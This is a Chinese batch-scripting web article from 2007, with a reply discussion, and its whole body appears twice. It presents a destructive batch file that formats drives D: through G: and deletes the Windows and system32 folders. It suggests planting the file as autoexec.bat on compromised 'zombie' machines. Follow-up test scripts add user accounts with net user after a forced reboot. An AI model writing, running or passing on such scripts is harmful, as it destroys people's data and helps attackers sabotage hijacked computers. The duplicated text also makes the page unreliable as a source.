由一段批處理程序所引起的探討感覺問題是有,不太準(zhǔn)確
更新時(shí)間:2007年10月22日 11:02:41 作者:
假如你的系統(tǒng)裝在c盤
打開記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來的autoexec.bat
最后一次警告:最好別亂搞,出了問題后果自負(fù)
有一個(gè)不完美的地方。我說說
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說shutdown -r -t 0這條語句本來是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語句不起作用.
為了得到答案!我對(duì)于這個(gè)問題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒有加入到用戶組!失??!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失?。?nbsp;
到這里。我以為shutdown -r -t 0后面的語句是無效的!想了一下。又改為了以下語句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測(cè)試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開的,所以內(nèi)部命令可以正常使用。
打開記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來的autoexec.bat
最后一次警告:最好別亂搞,出了問題后果自負(fù)
有一個(gè)不完美的地方。我說說
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說shutdown -r -t 0這條語句本來是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語句不起作用.
為了得到答案!我對(duì)于這個(gè)問題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒有加入到用戶組!失??!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失?。?nbsp;
到這里。我以為shutdown -r -t 0后面的語句是無效的!想了一下。又改為了以下語句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測(cè)試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開的,所以內(nèi)部命令可以正常使用。
相關(guān)文章
使用批處理實(shí)現(xiàn)軟件的自動(dòng)安裝以安裝搜狗拼音為例
軟件的自動(dòng)安裝我們可以通過使用批處理實(shí)現(xiàn),下面以安裝搜狗拼音為例做個(gè)小實(shí)驗(yàn),其他軟件可以參考此例,具體的實(shí)現(xiàn)如下,喜歡的朋友不要錯(cuò)過2013-11-11
使用BAT一句話命令實(shí)現(xiàn)快速合并JS、CSS
這篇文章主要介紹了使用BAT一句話命令實(shí)現(xiàn)快速合并JS、CSS,本文使用CMD中的copy命令實(shí)現(xiàn)文件的合并,然后寫成一個(gè)批處理文件執(zhí)行,更加的方便,需要的朋友可以參考下2015-01-01
黑客基礎(chǔ)之DOS (最齊全)超強(qiáng)推薦
黑客基礎(chǔ)之DOS (最齊全)超強(qiáng)推薦...2006-12-12
批處理操作注冊(cè)表完全攻略(讀取注冊(cè)表/寫入注冊(cè)表等)
批處理操作注冊(cè)表完全攻略(讀取注冊(cè)表/寫入注冊(cè)表等),有時(shí)候確實(shí)很需要對(duì)注冊(cè)表進(jìn)行操作2012-04-04

